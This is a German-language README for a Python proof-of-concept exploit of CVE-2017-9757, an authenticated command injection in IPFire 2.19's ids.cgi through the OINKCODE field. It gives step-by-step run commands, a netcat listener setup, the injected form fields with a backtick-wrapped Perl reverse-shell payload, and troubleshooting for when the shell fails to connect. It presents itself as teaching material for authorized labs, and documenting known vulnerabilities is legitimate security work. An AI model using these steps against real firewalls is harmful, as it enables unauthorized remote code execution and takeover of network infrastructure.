
Dieser Exploit basiert auf CVE-2017-9757 und wurde auf Grundlage des ursprünglichen Exploits von 0x09AL erstellt.
Python-Proof-of-Concept für die authentifizierte Befehlsinjizierungsschwachstelle in der ids.cgi-Seite von IPFire 2.19 über den Parameter OINKCODE.
Nur für autorisierte Sicherheitstests und Schulungslabore. Führen Sie dieses PoC nur gegen Systeme aus, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben. Der Autor ist nicht für Missbrauch oder durch diesen Code verursachte Schäden verantwortlich.
IPFire 2.19 ist anfällig für OS-Befehlsinjektion im Parameter OINKCODE, der von /cgi-bin/ids.cgi verarbeitet wird. Der Parameter wird ohne ordnungsgemäße Neutralisierung in einen Shell-Befehl eingebettet, wodurch ein authentifizierter Benutzer Befehle auf dem IPFire-Host ausführen kann.
Die Schwachstelle wird allgemein als CVE-2017-9757 identifiziert und ist CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') zugeordnet.
Das ursprüngliche öffentliche PoC wurde gegen IPFire 2.19 Core Update 110 getestet. Das Metasploit-Modul betrachtet Versionen bis einschließlich IPFire 2.19 mit Core Update 110 als innerhalb seines unterstützten Prüfbereichs liegend.
Das ursprüngliche Python-PoC von Exploit-DB führt eine Verifizierungsanfrage mit folgendem Code durch:
OINKCODE = '`id`'
Anschließend erklärt es das Ziel nur dann als verwundbar, wenn die HTTP-Antwort Folgendes enthält:
uid=99(nobody)
Diese Validierung ist unzuverlässig. Der Befehl kann ausgeführt werden, während seine Ausgabe vom durch das CGI konstruierten Shell-Befehl verbraucht wird, anstatt in der an den Client zurückgegebenen HTML-Antwort angezeigt zu werden. Infolgedessen kann der Server eine normale HTTP 200-Seite zurückgeben, ohne die Ausgabe von id einzubeziehen, was ein falsch-negatives Ergebnis erzeugt.
Diese Implementierung folgt der Validierungslogik des Metasploit-Moduls:
/cgi-bin/pakfire.cgi mit HTTP-Basisauthentifizierung anfordern.<= 2.19 und Core Update <= 110 als vermutlich verwundbar behandeln.OINKCODE an /cgi-bin/ids.cgi senden.200-Antwort als abgelehnte Anfrage oder Authentifizierungsproblem behandeln.uid=99(nobody) prüfen.Das PoC verwendet außerdem einen Perl-Befehlsshell-Payload, der der vom Metasploit-Modul unterstützten Befehls-Payload-Familie entspricht. Eine erfolgreiche HTTP-Antwort beweist für sich genommen nicht, dass sich die Reverse Shell verbunden hat; auch der Listener und der Netzwerkpfad müssen überprüft werden.
Das wichtige Erfolgskriterium des Metasploit-Moduls ist, dass ein unerwarteter Antwortcode auf ungültige Anmeldedaten oder eine abgelehnte Anfrage hinweist. Es ist nicht erforderlich, dass der Antwort-Body die Ausgabe des injizierten Befehls enthält.
requestsperl verfügbarPython-Abhängigkeit installieren:
python3 -m pip install requests
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--check-only \
--insecure
Das Passwort wird interaktiv abgefragt, wenn --password nicht angegeben wird. Dies wird empfohlen, da die direkte Angabe eines Passworts in einem Befehl es über den Shell-Verlauf oder die Prozessliste offenlegen kann.
Verwenden Sie einen Listener auf der Adresse und dem Port, die als --lhost und --lport angegeben werden:
rlwrap nc -lvnp 4444
Wenn rlwrap nicht installiert ist, verwenden Sie:
nc -lvnp 4444
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--insecure
Für das übliche selbstsignierte HTTPS-Zertifikat von IPFire ist --insecure/-k erforderlich. Verwenden Sie es nur, wenn die Zertifikatsprüfung im Labor absichtlich nicht möglich ist.
Das Ziel kann auch als vollständige Basis-URL angegeben werden:
python3 ipfire_oinkcode_rce.py \
--target https://192.0.2.10:444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--insecure
Verwenden Sie dies nur, wenn die IPFire-Version bereits unabhängig bestätigt wurde:
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--skip-version-check \
--insecure
Wenn Perl nicht im standardmäßigen PATH des Ziels liegt, geben Sie seinen absoluten Pfad an:
--perl-path /usr/bin/perl
HTTP 200 von ids.cgiDies bedeutet, dass die HTTP-Anfrage vom CGI gemäß demselben praktischen Kriterium akzeptiert wurde, das auch das Metasploit-Modul verwendet. Eine normale HTML-Antwort ist zu erwarten und ist kein Beweis dafür, dass die Schwachstellenprüfung fehlgeschlagen ist.
Prüfen Sie den Listener auf die Shell. Wenn keine Shell ankommt, untersuchen Sie die Callback-Adresse, das Routing, die Firewall-Ausgangsregeln, die Perl-Verfügbarkeit und den gewählten Port.
HTTP 401 oder HTTP 403Die Anfrage wurde nicht autorisiert. Prüfen Sie Benutzername, Passwort, Ziel-URL, Port und ob das Konto auf die IPFire-Weboberfläche zugreifen kann.
HTTP 404Die Ziel-URL oder der CGI-Pfad ist wahrscheinlich falsch, oder der Dienst ist nicht die erwartete IPFire-Weboberfläche.
Das Skript konnte die erwartete Versionszeichenfolge in pakfire.cgi nicht finden. Bestätigen Sie das Ziel manuell, bevor Sie --skip-version-check verwenden.
Der injizierte Befehl kann die CGI-Anfrage offen halten, während er den Callback versucht. Behandeln Sie dies als Hinweis, den Listener zu prüfen, nicht als endgültigen Beweis für eine Shell.
Das Skript verwendet HTTP-Basisauthentifizierung und sendet die folgenden Formularfelder an ids.cgi:
ENABLE_SNORT_GREEN=on
ENABLE_SNORT=on
RULES=registered
OINKCODE=`<Perl command payload>`
ACTION=Download new ruleset
ACTION2=snort
Der Befehl ist in Backticks eingeschlossen, weil die verwundbare Anwendung den OINKCODE-Wert in einen Shell-Befehl einbettet. Das genaue Anfrageverhalten hängt von der Zielversion und ihrer lokalen Konfiguration ab.
200-Antwort bestätigt, dass die Anfrage akzeptiert wurde, nicht dass die Reverse Shell den Listener erreicht hat.ipfire_oinkcode_exec.rbDieses Projekt ist eine didaktische Python-Implementierung auf der Grundlage der öffentlichen Forschung und des Proof of Concept von 0x09AL sowie des von der Metasploit-Community gepflegten Metasploit-Moduls. Es ist weder mit IPFire, Exploit-DB oder Rapid7 verbunden noch von diesen unterstützt.
| Merkmal | Exploit-DB 42149 Python-PoC | Exploit-DB 42369 / Metasploit | Dieses PoC |
|---|
| Verwundbarer Endpunkt | /cgi-bin/ids.cgi | /cgi-bin/ids.cgi | /cgi-bin/ids.cgi |
| Versionsprüfung | Keine | GET /cgi-bin/pakfire.cgi | Gleiche Prüfung im Metasploit-Stil |
| Authentifizierung | Basic Auth | Basic-Auth-Header | Basic Auth über requests.Session |
| Erstvalidierung | Führt `id` aus und durchsucht den Antwort-Body | Prüft die Version und sendet dann den Payload | Prüft die Version und verwendet den HTTP-Ergebniscode |
| Risiko falsch-negativer Ergebnisse | Hoch: hängt davon ab, dass uid=99(nobody) zurückgespiegelt wird | Vermeidet Body-Inhaltsvalidierung | Vermeidet Body-Inhaltsvalidierung |
| Reverse Shell | Bash /dev/tcp | Metasploit-Unix-Befehls-Payload | Perl-Befehlsshell über IO::Socket::INET |
| TLS-Behandlung | Zertifikatsprüfung im PoC deaktiviert | SSL standardmäßig aktiviert | Prüfung nur mit -k/--insecure deaktiviert |
| Konfiguration | Werte werden im Quellcode bearbeitet | Metasploit-Optionen | Kommandozeilenargumente |
| Option | Standard | Beschreibung |
|---|
-t, --target | Erforderlich | Ziel-Host/IP oder vollständige Basis-URL |
--scheme | https | Schema, das verwendet wird, wenn das Ziel nur ein Host/IP ist |
--web-port | 444 | Port der IPFire-Weboberfläche |
-u, --username | admin | IPFire-Benutzername |
-p, --password | Abfrage | Passwort; weglassen, um es ohne Echo einzugeben |
--lhost | Erforderlich | Vom IPFire erreichbare Listener-Adresse |
--lport | 4444 | Listener-Port |
--perl-path | perl | Perl-Binärdatei auf dem Ziel |
--timeout | 10 | HTTP-Timeout in Sekunden |
-k, --insecure | Deaktiviert | TLS-Zertifikatsprüfung deaktivieren |
--skip-version-check | Deaktiviert | Die pakfire.cgi-Prüfung überspringen |
--check-only | Deaktiviert | Nur die Versionsprüfung durchführen |